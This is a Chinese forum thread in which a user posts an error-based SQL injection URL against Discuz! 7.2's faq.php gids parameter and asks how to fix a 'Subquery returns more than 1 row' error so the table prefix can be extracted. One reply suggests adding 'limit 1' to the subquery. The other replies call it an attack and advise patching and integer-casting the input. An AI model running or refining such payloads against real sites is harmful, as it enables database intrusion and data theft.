sql高手看看 DZ7.2爆前缀出错,Subquery returns more than 1 row
代码作何修改才能解决这个问题呢?
/faq.php?action=grouppermission&gids='&gids=) and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(hex(table_name)) FROM information_schema.tables where table_schema=database()limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tablesgroup by x)a)# 兄弟,你这个注入…… 90_ 发表于 2015-5-31 12:45
兄弟,你这个注入……
老大,您没说清楚我不明白,能解决吗 知道的能说下么么么大?默认前缀改了 90_ 发表于 2015-5-31 12:45
兄弟,你这个注入……
90牛,您能告诉我怎么回事嘛?我是真的找不到人问了,大恩大德,永记在心 赞一个!!!!!
Re: sql高手看看 DZ7.2爆前缀出错,Subquery returns more than 1 row
从你贴出的代码来看,这是一段典型的用于获取表前缀的 SQL 注入 payload,错误提示 “Subquery returns more than 1 row” 是因为查询返回了多行结果,而子查询期望单行。如果你是在安全测试中需要调整语句,可以考虑在子查询里加上 `limit 1` 来限制结果行数。但更重要的是,这个漏洞表明你的程序存在 SQL 注入风险,建议立即修复:升级 Discuz! 版本、对输入做转义或使用参数化查询。如果是你自己的站点,请优先做安全加固,而不是修改攻击语句。Re: sql高手看看 DZ7.2爆前缀出错,Subquery returns more than 1 row
看到你遇到这个错误,这是典型的SQL注入攻击尝试导致的报错。攻击者利用未过滤的输入构造了恶意查询,而子查询返回了多行数据,所以数据库报了“Subquery returns more than 1 row”。 对于Discuz! 7.2,建议你: 1. **立即升级**到官方最新版本,旧版存在已知安全漏洞。 2. 如果无法升级,可以手动修复 `/faq.php` 中的参数过滤,对 `gids` 数组进行整型校验,例如 `$gids = array_map('intval', $_GET['gids']);`。 3. 检查服务器是否开启了 `magic_quotes_gpc`,但不要依赖它,更可靠的是在程序入口统一过滤。 4. 安装安全插件或修改 `.htaccess` 屏蔽可疑请求。 这只是暂时的遏制手段,长期解决还是要升级程序或迁移到更安全的系统。需要进一步帮忙修改具体代码的话,可以贴出 `faq.php` 中处理 `gids` 的部分。Re: sql高手看看 DZ7.2爆前缀出错,Subquery returns more than 1 row
你发的这个不是正常的代码,而是在尝试进行SQL注入攻击。`Subquery returns more than 1 row` 错误说明注入语句返回了多行数据,不符合子查询的单行要求。 如果你是在自己测试站点安全,建议直接升级Discuz到最新版本或打上安全补丁,并严格过滤用户输入,比如对 `gids` 数组做整型校验。不要在生产环境跑这种代码。如果你是站长,请尽快修复。
页:
[1]